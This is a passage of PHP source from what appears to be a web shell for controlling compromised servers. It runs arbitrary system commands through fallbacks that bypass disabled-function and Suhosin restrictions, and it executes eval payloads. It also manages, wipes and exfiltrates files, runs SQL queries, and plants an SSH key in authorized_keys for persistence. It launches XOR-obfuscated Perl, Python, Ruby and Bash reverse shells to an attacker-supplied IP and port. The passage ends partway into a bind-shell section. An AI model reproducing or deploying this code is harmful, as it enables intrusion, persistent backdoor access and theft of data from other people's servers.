844 $handle = $ref_function->invoke($arg1, $arg2);
845 if (is_string($handle)) {
846 $return_value = $handle;
847 } else {
848 $return_value = fread($handle, 4096);
849 pclose($handle);
850 }
851 } else if ($output_needed == False) {
852 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
853 $it = new ArrayIterator(array(""));
854 iterator_apply($it, $function, array($arg1, $arg2));
855 } else if (disabled_php("register_tick_function") == False) {
856 declare(ticks=1);
857 register_tick_function($function, $arg1, $arg2);
858 unregister_tick_function($function);
859 } else if (disabled_php("array_map") == False) {
860 array_map($function, array($arg1, $arg2));
861 } else if (disabled_php("array_walk") == False) {
862 $x = array($arg1, $arg2);
863 array_walk($x, $function);
864 } else if (disabled_php("array_filter") == False) {
865 array_filter(array($arg1, $arg2), $function);
866 } else if (disabled_php("register_shutdown_function")) {
867 register_shutdown_function($function, $arg1, $arg2);
868 }
869 }
870 } else if ($arg1 != null) {
871 if (disabled_php("call_user_func") == False) {
872 $return_value = call_user_func($function, $arg1);
873 } else if (disabled_php("call_user_func_array") == False) {
874 $return_value = call_user_func_array($function, array($arg1));
875 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
876 $ref_function = new ReflectionFunction($function);
877 $handle = $ref_function->invoke($arg1);
878 if (is_string($handle)) {
879 $return_value = $handle;
880 } else {
881 $return_value = fread($handle, 4096);
882 pclose($handle);
883 }
884 } else if ($output_needed == False) {
885 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
886 $it = new ArrayIterator(array(""));
887 iterator_apply($it, $function, array($arg1));
888 } else if (disabled_php("register_tick_function") == False) {
889 declare(ticks=1);
890 register_tick_function($function, $arg1);
891 unregister_tick_function($function);
892 } else if (disabled_php("array_map") == False) {
893 array_map($function, array($arg1));
894 } else if (disabled_php("array_walk") == False) {
895 $x = array($arg1, $arg2, $arg3);
896 array_walk($x, $function);
897 } else if (disabled_php("array_filter") == False) {
898 array_filter(array($arg1), $function);
899 } else if (disabled_php("register_shutdown_function")) {
900 register_shutdown_function($function, $arg1);
901 }
902 }
903 } else {
904 if (disabled_php("call_user_func") == False) {
905 $return_value = call_user_func($function);
906 } else if (disabled_php("call_user_func_array") == False) {
907 $return_value = call_user_func_array($function, array());
908 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
909 $ref_function = new ReflectionFunction($function);
910 $handle = $ref_function->invoke();
911 if (is_string($handle)) {
912 $return_value = $handle;
913 } else {
914 $return_value = fread($handle, 4096);
915 pclose($handle);
916 }
917 } else if ($output_needed == False) {
918 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
919 $it = new ArrayIterator(array(""));
920 iterator_apply($it, $function, array());
921 } else if (disabled_php("register_tick_function") == False) {
922 declare(ticks=1);
923 register_tick_function($function);
924 unregister_tick_function($function);
925 } else if (disabled_php("array_map") == False) {
926 array_map($function, array());
927 } else if (disabled_php("array_walk") == False) {
928 $x = array();
929 array_walk($x, $function);
930 } else if (disabled_php("array_filter") == False) {
931 array_filter(array(), $function);
932 } else if (disabled_php("register_shutdown_function")) {
933 register_shutdown_function($function);
934 }
935 }
936 }
937 return $return_value;
938}
939
940function execute_command($command, $software_check = False) { //this is also used to check for installed softwares
941 if ($software_check == True) {
942 if (($_SESSION["windows"]) == True) {
943 $command = "where $command";
944 } else {
945 $command = "which $command";
946 }
947 }
948
949 if (disabled_php("system") == False) { //not disabled by disable_functions
950 ob_start();
951 if (disabled_suhosin("system") == False) { //not disabled by Suhosin
952 system($command);
953 } else { //disabled by Suhosin
954 bypass_suhosin("system", $command, null, null, null, null, False);
955 }
956 $return_value = ob_get_contents();
957 ob_end_clean();
958 } else if (disabled_php("passthru") == False) {
959 ob_start();
960 if (disabled_suhosin("passthru") == False) {
961 passthru($command);
962 } else {
963 bypass_suhosin("passthru", $command, null, null, null, null, False);
964 }
965 $return_value = ob_get_contents();
966 ob_end_clean();
967 } else if (disabled_php("shell_exec") == False) {
968 if (disabled_suhosin("shell_exec") == False) {
969 $return_value = shell_exec($command);
970 } else {
971 $return_value = bypass_suhosin("shell_exec", $command);
972 }
973 } else if (disabled_php("exec") == False) {
974 if (disabled_suhosin("exec") == False) {
975 $return_value = exec($command);
976 } else {
977 $return_value = bypass_suhosin("exec", $command);
978 }
979 } else if (disabled_php("popen") == False) {
980 if (disabled_suhosin("popen") == False) {
981 $handle = popen($command, "r");
982 } else {
983 $handle = bypass_suhosin("popen", $command, "r");
984 }
985 $return_value = fread($handle, 4096);
986 pclose($handle);
987 } else if (disabled_php("proc_open") == False) {
988 if (disabled_suhosin("proc_open") == False) {
989 $process = proc_open(
990 $command,
991 array(
992 0 => array("pipe", "r"),
993 1 => array("pipe", "w"),
994 2 => array("pipe", "w"),
995 ),
996 $pipes
997 );
998 } else { //this gave me a headache so I will check it out later
999 /*
1000 echo "proc_open-suhosin";
1001 $process = bypass_suhosin(
1002 "proc_open",
1003 $command,
1004 array(
1005 0 => array("pipe", "r"),
1006 1 => array("pipe", "w"),
1007 2 => array("pipe", "w"),
1008 ),
1009 $pipes);*/
1010 }
1011
1012 $stdout = stream_get_contents($pipes[1]);
1013 $stderr = stream_get_contents($pipes[2]);
1014 fclose($pipes[1]);
1015 fclose($pipes[2]);
1016 proc_close($process);
1017
1018 if ($stderr == "") {
1019 $return_value = $stdout;
1020 } else {
1021 $return_value = $stderr;
1022 }
1023 } else if ((isset($_SESSION["cgi"])) && ($_SESSION["cgi"] == True)) {
1024 $return_value = url_get_contents($_SESSION["cgi_url"]."?command=".base64encoding($command));
1025 } else if ((isset($_SESSION["shsh"])) && ($_SESSION["shsh"] == True)) {
1026 $return_value = shsh($command);
1027 } else if ((isset($_SESSION["shsh2"])) && ($_SESSION["shsh2"] == True)) {
1028 $return_value = shsh2($command);
1029 } else if ((isset($_SESSION["ssh"])) && ($_SESSION["ssh"] == True)) {
1030 $return_value = execute_ssh($command);
1031 } else {
1032 $return_value = "";
1033 }
1034
1035 if ($software_check == True) {
1036 if (($return_value != "") && (strpos($return_value, "Could not find files") === False)) {
1037 return True;
1038 } else {
1039 return False;
1040 }
1041 } else {
1042 return $return_value;
1043 }
1044}
1045
1046function execute_script($code, $location, $extension, $output_needed = False) {
1047 $filename = $_SESSION["shell_name_directory"]."/".time().".".$extension;
1048 write_to_file($filename, $code);
1049
1050 $command = $location." ".$filename;
1051
1052 //run the script in background and redirect its output to null
1053 if ($output_needed == False) { //we have to make sure that the user doesn't care about the output since we're redirecting it to null
1054 if ($_SESSION["windows"] == True) {
1055 $command = "START /B $command > null";
1056 } else if (execute_command("nohup", True)) { //use nohup if installed
1057 $command = "nohup $command > /dev/null 2>&1 &";
1058 }
1059 }
1060
1061 return execute_command($command);
1062}
1063
1064function file_get_contents_extended($filename, $is_url = False, $context = null) { //same thing was done for multiple other functions, the point is to bypass Suhosin using less code lol
1065 if (disabled_php("file_get_contents") == False) {
1066 if ((($is_url == True) && (ini_get("allow_url_fopen"))) || ($is_url == False)) {
1067 if (disabled_suhosin("file_get_contents") == False) {
1068 return file_get_contents($filename, False, $context);
1069 } else {
1070 return bypass_suhosin("file_get_contents", $filename, False, $context);
1071 }
1072 }
1073 } else {
1074 return False;
1075 }
1076}
1077
1078function fopen_extended($filename, $type, $is_url=False, $context=null) {
1079 if (disabled_php("fopen") == False) {
1080 if ((($is_url == True) && (get_php_ini("allow_url_fopen"))) || ($is_url == False)) {
1081 if (disabled_suhosin("fopen") == False) {
1082 if ($context != null) { //it will cause an error if we don't do that, unlike file_get_contents
1083 return fopen($filename, $type, False, $context);
1084 } else {
1085 return fopen($filename, $type);
1086 }
1087 } else {
1088 if ($context != null) {
1089 return bypass_suhosin("fopen", $filename, $type, False, $context);
1090 } else {
1091 return bypass_suhosin("fopen", $filename, $type);
1092 }
1093 }
1094 }
1095 } else {
1096 return False;
1097 }
1098}
1099
1100function file_put_contents_extended($file_name, $input) {
1101 if (disabled_php("file_put_contents") == False) {
1102 if (disabled_suhosin("file_put_contents") == False) {
1103 file_put_contents($file_name, $input);
1104 } else {
1105 bypass_suhosin("file_put_contents", $file_name, $input, null, null, null, False);
1106 }
1107 } else {
1108 return False;
1109 }
1110
1111 return True;
1112}
1113
1114function include_php($filename) {
1115 if (disabled_php("include") == False) {
1116 if (disabled_suhosin("include") == False) {
1117 include($filename);
1118 } else {
1119 bypass_suhosin("include", $filename, null, null, null, null, False);
1120 }
1121 unlink($filename);
1122 } else if (disabled_php("include_once") == False) {
1123 if (disabled_suhosin("include_once") == False) {
1124 include_once($filename);
1125 } else {
1126 bypass_suhosin("include_once", $filename, null, null, null, null, False);
1127 }
1128 unlink($filename);
1129 } else if (disabled_php("require") == False) {
1130 if (disabled_suhosin("require") == False) {
1131 require($filename);
1132 } else {
1133 bypass_suhosin("require", $filename, null, null, null, null, False);
1134 }
1135 unlink($filename);
1136 }
1137 else if (disabled_php("require_once") == False) {
1138 if (disabled_suhosin("require_once") == False) {
1139 require_once($filename);
1140 } else {
1141 bypass_suhosin("require_once", $filename, null, null, null, null, False);
1142 }
1143 unlink($filename);
1144 }
1145}
1146
1147function execute_php($code, $output_needed) { //eval and its substitutes
1148 if (!get_php_ini("suhosin.executor.disable_eval")) { //we use eval since it's not blocked by suhosin
1149 eval($code);
1150 } else if ((disabled_php("include") == False) || (disabled_php("include_once") == False) || (disabled_php("require") == False) || (disabled_php("require_once") == False)) { //let the bodies hit the floor!
1151 $code = "<?php\n".$code."\n?>";
1152 $filename = $_SESSION["shell_name_directory"]."/".time().".php";
1153 write_to_file($filename, $code);
1154
1155 include_php($filename);
1156 }
1157 else {
1158 $code = "<?php\n".$code."\n?>";
1159
1160 echo execute_script($code, $_SESSION["php"], "php", $output_needed);
1161 }
1162}
1163
1164function get_permissions($location) { //used to get the permissions of everything in the file manager
1165//this whole function was taken from http://php.net/manual/en/function.fileperms.php
1166 $perms = fileperms($location);
1167
1168 if (($perms & 0xC000) == 0xC000)
1169 $info = 's';
1170 elseif (($perms & 0xA000) == 0xA000)
1171 $info = 'l';
1172 elseif (($perms & 0x8000) == 0x8000)
1173 $info = '-';
1174 elseif (($perms & 0x6000) == 0x6000)
1175 $info = 'b';
1176 elseif (($perms & 0x4000) == 0x4000)
1177 $info = 'd';
1178 elseif (($perms & 0x2000) == 0x2000)
1179 $info = 'c';
1180 elseif (($perms & 0x1000) == 0x1000)
1181 $info = 'p';
1182 else
1183 $info = 'u';
1184
1185 $info .= (($perms & 0x0100) ? 'r' : '-');
1186 $info .= (($perms & 0x0080) ? 'w' : '-');
1187 $info .= (($perms & 0x0040) ?
1188 (($perms & 0x0800) ? 's' : 'x' ) :
1189 (($perms & 0x0800) ? 'S' : '-'));
1190
1191 $info .= (($perms & 0x0020) ? 'r' : '-');
1192 $info .= (($perms & 0x0010) ? 'w' : '-');
1193 $info .= (($perms & 0x0008) ?
1194 (($perms & 0x0400) ? 's' : 'x' ) :
1195 (($perms & 0x0400) ? 'S' : '-'));
1196
1197 $info .= (($perms & 0x0004) ? 'r' : '-');
1198 $info .= (($perms & 0x0002) ? 'w' : '-');
1199 $info .= (($perms & 0x0001) ?
1200 (($perms & 0x0200) ? 't' : 'x' ) :
1201 (($perms & 0x0200) ? 'T' : '-'));
1202
1203 return $info;
1204}
1205
1206//ordering our file manager by alpha order and dirs come first.
1207function sortRows($data) {
1208 $size = count($data);
1209
1210 for ($i = 0; $i < $size; ++$i) {
1211 $row_num = findSmallest($i, $size, $data);
1212 $tmp = $data[$row_num];
1213 $data[$row_num] = $data[$i];
1214 $data[$i] = $tmp;
1215 }
1216
1217 return ($data);
1218}
1219
1220function findSmallest($i, $end, $data) {
1221 $min['pos'] = $i;
1222 $min['value'] = $data[$i]['data'];
1223 $min['dir'] = $data[$i]['dir'];
1224 for (; $i < $end; ++$i) {
1225 if ($data[$i]['dir']) {
1226 if ($min['dir']) {
1227 if ($data[$i]['data'] < $min['value']) {
1228 $min['value'] = $data[$i]['data'];
1229 $min['dir'] = $data[$i]['dir'];
1230 $min['pos'] = $i;
1231 }
1232 } else {
1233 $min['value'] = $data[$i]['data'];
1234 $min['dir'] = $data[$i]['dir'];
1235 $min['pos'] = $i;
1236 }
1237 } else {
1238 if (!$min['dir'] && $data[$i]['data'] < $min['value']) {
1239 $min['value'] = $data[$i]['data'];
1240 $min['dir'] = $data[$i]['dir'];
1241 $min['pos'] = $i;
1242 }
1243 }
1244 }
1245
1246 return ($min['pos']);
1247}
1248
1249if (isset($_POST['download'])) { //downloads a file, what else could it be...
1250 $file = unxor_this($_POST['download']);
1251 header('Content-Description: File Transfer');
1252 header('Content-Type: application/octet-stream');
1253 header('Content-Disposition: attachment; filename='.basename($file));
1254 header('Expires: 0');
1255 header('Cache-Control: must-revalidate');
1256 header('Pragma: public');
1257 header('Content-Length: ' . filesize($file));
1258 readfile($file);
1259} else if (isset($_POST['command'])) { //executes a command
1260 $GLOBALS["command"] = str_replace("\n", "<br/>", execute_command(unxor_this($_POST["command"])));
1261} else if (isset($_POST['del'])) { //deletes a file or a directory
1262 $delete = unxor_this($_POST['del']);
1263 if (is_dir($delete)) {
1264 if ($_SESSION["windows"] == True) {
1265 execute_command("rmdir $delete /s");
1266 } else {
1267 execute_command("rm -r $delete");
1268 }
1269 } else {
1270 unlink($delete);
1271 }
1272} else if (isset($_POST['wipe'])) { //wipes a file
1273 //nothing badass really, we'll just replace all the old bytes with null bytes
1274 $wipe = unxor_this($_POST['wipe']);
1275 $file_size = filesize($wipe);
1276
1277 $fp = fopen_extended($wipe, "rb+");
1278 if ($fp != False) {
1279 $fwrite = fwrite($fp, str_repeat("\0", $file_size), $file_size);
1280 fclose($fp);
1281 }
1282} else if (isset($_POST['edit'])) { //edits a file, I know, that's a badass comment.
1283 $content = unxor_this($_POST['edit']);
1284 $location = unxor_this($_POST['location']);
1285
1286 write_to_file($location, $content);
1287
1288 $_POST['dir'] = $_POST['location'];
1289} else if (isset($_POST['zip'])) { //zips a folder; multiple methods
1290 $location = unxor_this($_POST['zip']);
1291
1292 if ((version_compare(PHP_VERSION, '5.2.0') >= 0) && (installed_php(null, "ZipArchive") == True)) { //best way
1293 $zip = new ZipArchive();
1294 $zip->open($_SESSION["shell_name_directory"]."/".basename($location).'.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
1295
1296 $files = new RecursiveIteratorIterator(
1297 new RecursiveDirectoryIterator($location),
1298 RecursiveIteratorIterator::LEAVES_ONLY
1299 );
1300
1301 foreach ($files as $name => $file) {
1302 if (!$file->isDir()) {
1303 $filePath = $file->getRealPath();
1304 $relativePath = substr($filePath, strlen($location) + 1);
1305
1306 $zip->addFile($filePath, $relativePath);
1307 }
1308 }
1309
1310 $zip->close();
1311 } else { //system commands
1312 if ($_SESSION["windows"] == True) {
1313 if (strpos(execute_command("powershell.exe", True), "Windows PowerShell")) { //powershell gets the job done
1314 execute_command("powershell.exe -nologo -noprofile -command \"& { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::CreateFromDirectory('$location', '".$location.".zip'); }\"");
1315 } else { //vbs script it is
1316 $code = 'ArchiveFolder "'.$_SESSION["shell_name_directory"]."/".basename($location).'.zip", "' . $location . '"'.unxor_this("NxoWQzECBQEFEwEpGw8UFRRJRB8NHzIKHBVKSR8jCwMQBgJZbGNMRURPIwoEGEYqHgAFGxEsEhoDChhNRjwXERkAEgACAkopHQ8VIx8aGAAJIBYJFRMSS0VvRE9UQ1BQRkkWDBQpHQ8VUFtJQiIBGzUBAx8KHBgANA4ACz4RCwxEHw0fMgocFU9jTEVET1RDUFAVLwMJAAoGQ01QSC4JESUNBwwcBRIMPAQQBzoCHRVOGioKCAsREVl6bElMRURPVENQJw8dBEVKLAYGEQQDPQkdECkdDxVYHAAcIw0DEU9QJBQcCUxuT1RDUFBGSUxFRE9UTScCDx0JRScHBktIQE9JSkUnBwZLR0VPSUpFJwcGS0VZRk9MJgwdXFVZUEBJPxEWBhoEWEFeRUwGDB1cU1lZbElMRURPVENQNQgNTDINGxxpUFBGSSkLAE8jCgQYbGNMRURPIwoEGEYqHgAFGxEsEhoDChhNRjwcBhwcSCgcFQgGFwIEGQkHTkxuT1RDUFBGSUxLKg4ZBiMABwoJTR4GBCUZHANAQiYLHw0rFQIDSUIrBQIRMAARBQxEFiIAGAcVAk9HJREBAgdpelBGSUxFRE9UJx9QMwcYDAhPWi0RHQM6HAQHClwZGQAgAAAATUE9FxUdFUcvChEBAENNUDljTEVET1RDUFBGSUxFRE9UQ1BeKAgBADcfFQAVWBUvAwkACgZKXjkSDAEWSiwbFh4EbElMRURPVENQUEZJTDI3DAYKAARIOgAAAR9UUkBAVklmRURPVENQUEYlAwoUZVRDUFAjBwhFMwYAC3p6IwcIRTcaFg==", "dotcppfile");
1317 write_to_file($_SESSION["shell_name_directory"]."/zip_folder.vbs", $code);
1318 execute_command("cscript //nologo ".$_SESSION["shell_name_directory"]."/zip_folder.vbs");
1319 }
1320 } else {
1321 execute_command("zip -r ".$_SESSION["shell_name_directory"]."/".basename($location).".zip $location");
1322 }
1323 }
1324} else if (isset($_POST['new_name'])) { //renames a file
1325 $old_name = unxor_this($_POST['old_name']);
1326 $new_name = unxor_this($_POST['dir'])."/".unxor_this($_POST['new_name']);
1327
1328 rename($old_name, $new_name);
1329} else if (isset($_POST['new_chmod'])) { //chmods a file
1330 $file_name = unxor_this($_POST['file_name']);
1331
1332 @chmod($file_name, octdec(intval(unxor_this($_POST['new_chmod'])))); //we try to chmod it with error supression
1333} else if (isset($_FILES["file_upload"])) { //uploads multiple files
1334 $file_ary = array();
1335 $file_count = count($_FILES["file_upload"]["name"]);
1336 $file_keys = array_keys($_FILES["file_upload"]);
1337
1338 for ($i=0; $i<$file_count; $i++) {
1339 foreach ($file_keys as $key) {
1340 $file_ary[$i][$key] = $_FILES["file_upload"][$key][$i];
1341 }
1342 }
1343
1344 foreach ($file_ary as $file) {
1345 $target_file = $_SESSION["shell_name_directory"]."/".basename($file["name"]);
1346 move_uploaded_file($file["tmp_name"], $target_file);
1347 }
1348} else if (isset($_POST["link_download"])) { //downloads a file from a direct link
1349 $link = unxor_this($_POST["link_download"]);
1350 $location = $_SESSION["shell_name_directory"]."/".basename($link);
1351
1352 $output = url_get_contents($link);
1353 write_to_file($location, $output);
1354} else if (isset($_POST["mkfile"])) { //creates a file
1355 $location = unxor_this($_POST["dir"])."/".unxor_this($_POST["mkfile"]);
1356
1357 write_to_file($location, "");
1358} else if (isset($_POST["mkdir"])) { //creates a directory
1359 $location = unxor_this($_POST["dir"])."/".unxor_this($_POST["mkdir"]);
1360
1361 mkdir($location);
1362} else if (isset($_POST["sql_user"])) { //this is basically a sql connection test
1363 $_SESSION["sql_host"] = unxor_this($_POST["sql_host"]);
1364 $_SESSION["sql_user"] = unxor_this($_POST["sql_user"]);
1365 $_SESSION["sql_pass"] = unxor_this($_POST["sql_pass"]);
1366 $_SESSION["sql_database"] = unxor_this($_POST["sql_database"]);
1367
1368 if (installed_php(null, "PDO")) { //used PDO if it's installed
1369 try { //we will use this try to catch PDO errors with an exception
1370 $conn = new PDO("mysql:host=".$_SESSION["sql_host"].";dbname=".$_SESSION["sql_database"], $_SESSION["sql_user"], $_SESSION["sql_pass"]);
1371
1372 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //set pdo error mode to exception
1373
1374 $conn = null;
1375
1376 $_SESSION["mysqli"] = True; //success
1377 } catch(PDOException $e) {
1378 $_SESSION["mysqli"] = False;
1379 }
1380 } else {
1381 $link = @mysqli_connect($_SESSION["sql_host"], $_SESSION["sql_user"], $_SESSION["sql_pass"], $_SESSION["sql_database"]);
1382
1383 if (!mysqli_connect_errno()) {
1384 $_SESSION["mysqli"] = True; //success
1385 } else {
1386 $_SESSION["mysqli"] = False;
1387 }
1388
1389 @mysqli_close($link);
1390 }
1391} else if (isset($_POST["sql_execute"])) {
1392 $sql_query = unxor_this($_POST["sql_execute"]);
1393
1394 if (installed_php(null, "PDO")) { //used PDO if it's installed
1395 try { //we will use this try to catch PDO errors with an exception
1396 //reconnecting each time because persistent connections were added in php 5.3 so we simply can't risk it...
1397 $conn = new PDO("mysql:host=".$_SESSION["sql_host"].";dbname=".$_SESSION["sql_database"], $_SESSION["sql_user"], $_SESSION["sql_pass"]);
1398
1399 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //set pdo error mode to exception
1400
1401 $sth = $conn->prepare($sql_query);
1402 $sth->execute();
1403
1404 $result = $sth->fetchAll();
1405
1406 $return_value = "";
1407 foreach ($result as $row) {
1408 for ($i = 0; $i < sizeof($row)/2; $i++) {
1409 $return_value .= htmlspecialchars($row[$i])." ";
1410 }
1411 $return_value .= "\n";
1412 }
1413
1414 $conn = null;
1415 } catch(PDOException $e) {
1416 $return_value = $e->getMessage();
1417 }
1418 } else {
1419 $link = mysqli_connect($_SESSION["sql_host"], $_SESSION["sql_user"], $_SESSION["sql_pass"], $_SESSION["sql_database"]);
1420
1421 if ($result = mysqli_query($link, $sql_query)) {
1422 $col_cnt = mysqli_field_count($link);
1423 if ($col_cnt != 0) {
1424 $return_value = "";
1425 while ($row = mysqli_fetch_row($result)) {
1426 for ($i = 0; $i < $col_cnt; $i++) {
1427 $return_value .= htmlspecialchars($row[$i])." ";
1428 }
1429 $return_value .= "\n";
1430 }
1431 mysqli_free_result($result);
1432 } else {
1433 $return_value = "";
1434 }
1435 } else {
1436 $return_value = mysqli_error($link);
1437 }
1438
1439 mysqli_close($link);
1440 }
1441
1442 if (isset($_POST["save_output"])) {
1443 write_to_file($_SESSION["shell_name_directory"]."/sql_".time(), $return_value);
1444 } else {
1445 $GLOBALS["sql_output"] = $return_value;
1446 }
1447} else if ((isset($_POST["ssh_user"])) && file_exists($_SESSION["shell_name_directory"].$__AES) && file_exists($_SESSION["shell_name_directory"].$__Base) && file_exists($_SESSION["shell_name_directory"].$__BigInteger) && file_exists($_SESSION["shell_name_directory"].$__Blowfish) && file_exists($_SESSION["shell_name_directory"].$__DES) && file_exists($_SESSION["shell_name_directory"].$__Hash) && file_exists($_SESSION["shell_name_directory"].$__openssl) && file_exists($_SESSION["shell_name_directory"].$__Random) && file_exists($_SESSION["shell_name_directory"].$__RC2) && file_exists($_SESSION["shell_name_directory"].$__RC4) && file_exists($_SESSION["shell_name_directory"].$__Rijndael) && file_exists($_SESSION["shell_name_directory"].$__RSA) && file_exists($_SESSION["shell_name_directory"].$__SSH2) && file_exists($_SESSION["shell_name_directory"].$__TripleDES) && file_exists($_SESSION["shell_name_directory"].$__Twofish)) {
1448 //finding the right ssh port, the home directory and the user automatically is somehow stupid.
1449 //it will require a lot of work and a lot of code that will force SHELL_NAME to use multiple functions that could be
1450 //blocked by security systems. Lets not forget that even if all of this succeeded, the collected information
1451 //could be wrong.
1452 //if these values were well provided by the user then this method will have a higher success rate.
1453 $_SESSION["home_dir"] = unxor_this($_POST["home_dir"]); //can be found by using SHELL_NAME's file manager
1454 $_SESSION["ssh_port"] = unxor_this($_POST["ssh_port"]); //can be found by simple port scan
1455 $_SESSION["ssh_user"] = unxor_this($_POST["ssh_user"]); //can be found by using SHELL_NAME's file manager as well
1456
1457 //creating the key
1458 include_php($_SESSION["shell_name_directory"].$__RSA); //this should have been uploaded by the user himself
1459 $rsa = new Crypt_RSA();
1460 $rsa->setPublicKeyFormat(CRYPT_RSA_PUBLIC_FORMAT_OPENSSH); //formatted for OpenSSH
1461 $key = $rsa->createKey(1024);
1462 $rsa->loadKey($key["privatekey"]);
1463
1464 //we have to serialize the rsa object since we want to store it in a session variable for later use
1465 $_SESSION["ssh_rsa"] = serialize($rsa);
1466
1467 if ($_SESSION["windows"] == True) //http://osses.info/openssh.htm (FreeSSHD) will work on it later
1468 {
1469 } else { //http://sshkeychain.sourceforge.net/mirrors/SSH-with-Keys-HOWTO/SSH-with-Keys-HOWTO-4.html (4.4)
1470 $ssh_dir = $_SESSION["home_dir"]."/.ssh";
1471 //authorized_keys not authorized_keys2 because in the new release authorized_keys2 has been removed
1472 //http://marc.info/?l=openssh-unix-dev&m=100508718416162&w=2
1473 $authorized_keys = $_SESSION["home_dir"]."/.ssh/authorized_keys";
1474
1475 if (!file_exists($ssh_dir)) { //.ssh doens't exist
1476 if (is_writable($_SESSION["home_dir"])) { //we can create the .ssh folder
1477 mkdir($ssh_dir);
1478 chmod($ssh_dir, 0700);
1479 $ssh_dir_exists = True;
1480 } else { //we can't create the .ssh folder
1481 $ssh_dir_exists = False;
1482 }
1483 } else { //.ssh already exists
1484 $ssh_dir_exists = True;
1485 }
1486
1487 if ($ssh_dir_exists == True) { //we got a .ssh directory
1488 if (!file_exists($authorized_keys)) { //authorized_keys doens't exist
1489 if (is_writable($ssh_dir)) {
1490 write_to_file($authorized_keys, $key["publickey"]);
1491 chmod($authorized_keys, 0600);
1492
1493 $everything_ready = True;
1494 } else {
1495 $everything_ready = False;
1496 }
1497 } else { //authorized_keys already exists
1498 @chmod($authorized_keys, 0600); //we try to chmod it first with error supression
1499
1500 if ((is_readable($authorized_keys)) && (is_writable($authorized_keys))) {
1501 //not appending with fopen since fopen could be disabled, write_to_file will use multiple other functions.
1502 $output = file_get_contents_extended($authorized_keys);
1503 write_to_file($authorized_keys, $output.$key["publickey"]);
1504
1505 $everything_ready = True;
1506 } else {
1507 $everything_ready = False;
1508 }
1509 }
1510 } else {
1511 $everything_ready = False;
1512 }
1513
1514 if ($everything_ready == True) {
1515 if (execute_ssh("echo dotcppfile") == "dotcppfile") {
1516 $_SESSION["ssh"] = True;
1517 } else {
1518 $_SESSION["ssh"] = False;
1519 }
1520 } else {
1521 $_SESSION["ssh"] = False;
1522 }
1523 }
1524} else if (isset($_POST["reverse_ip"])) { //reverse shells
1525 $rs_lang = unxor_this($_POST["rs_lang"]);
1526
1527 if ($rs_lang == "Perl") {
1528 $shell = "ERwRQyMfBQIJEV9lfkcZAFtLXVdTQURNQF5XS1dvQB8bEQRNUl1YUV9lfhAfEw0MGE03Q1QzNi8vJykxSE8nLDM7OTo4NyEuOU9QFwMdHBcLGxsBCR4HBAlNRhsXE1JZT1Jmbw0JXAAfHggMDxFMPFhDAx8FAg0BAB0rCh5YQhkDFxBDVAoeFRI2DRELAVxHGQBPQEVMbhR+ah8AAwdENjArPS1cUlhPP0dNVH5qHwADB0Q2MCs7NiRcRFdKNkZGT2l5HxYMAk03OzAmIiJKS1JDN01dWHp5AxEJBkxNWwEZHkkaBEVJBlZKS3obUg==";
1529 $location = $_SESSION["perl"];
1530 $extension = "pl";
1531 } else if ($rs_lang == "Python") {
1532 $shell = "DQIEDAIERhoDBg8KAE9QAxMLHBcLDBEQA1xGBh9vbgYEXlJBVF5CVUpfWlJSehYGHhFZW0BXRHpsGkxYRBwbABsVEkcfCgcEERdYAwkKBwAQQTUlLzkoLDhJRBwbABsVEkc/KickKzAkIiMoIUxuHFoAHx4IDA8RTEcdE1xQFgYeEU1GfmkfA0gNGRVWRwdNFhkKDAIKTEZYU1l6CRpCAREfRksDXgAAAAAKAFxKXEFPYwMWSgsBE0JYFUcKDAgKGgxYWUpbRW9uH1ReUAMTCxwXCwwREANeBQgACUw0VkwSGQhGHw1GQ1RBXRlENEU=";
1533 $location = $_SESSION["python"];
1534 $extension = "py";
1535 } else if ($rs_lang == "Ruby") {
1536 $shell = "FgoFFhkCA0lLFgsMHwYEV2xjBRVZTUVRR15WR1xLVU1+Ex8CElRYUVBbfmkWUFtJOCY0PBsAGxUSRwMVAQFcCgBcRhkDFxBGWhcfLw9jCR0BDFQQAAIPBxgDTE1bARkeSRoERUkGVF9WVQJJUkNBC1RRTlZDDU5JAkMSTxZZ";
1537
1538 $location = $_SESSION["ruby"];
1539 $extension = "rb";
1540 } else if ($rs_lang == "Bash") {
1541 $shell = "DR9JQUFCUUdcS1RBRUF6AAkbGFhQW0BXenoDEQkGRFpIXV8UAx9DEQcfW0cZAElNHAoWG34AEQRGVUpQRBNUFBgZCgxMFwEOEEMcGQgMV0UAAFRHHBkIDExXWklBQ05WU1JMAQsBEQ==";
1542
1543 $location = "bash";
1544 $extension = "sh";
1545 }
1546
1547 $ip = unxor_this($_POST["reverse_ip"]);
1548 $port = unxor_this($_POST["reverse_port"]);
1549
1550 $shell = unxor_this($shell, "dotcppfile");
1551 $shell = str_replace("ip=\"127.0.0.1\"", "ip=\"$ip\"", $shell);
1552 $shell = str_replace("port=4444", "port=$port", $shell);
1553
1554 if (isset($_POST["background"])) {
1555 execute_script($shell, $location, $extension);
1556 } else {
1557 execute_script($shell, $location, $extension, True);
1558 }
1559} else if (isset($_POST["bind_port"])) { //bind shells
1560 $bs_lang = unxor_this($_POST["bs_lang"]);
1561
1562 if ($bs_lang == "Perl") {
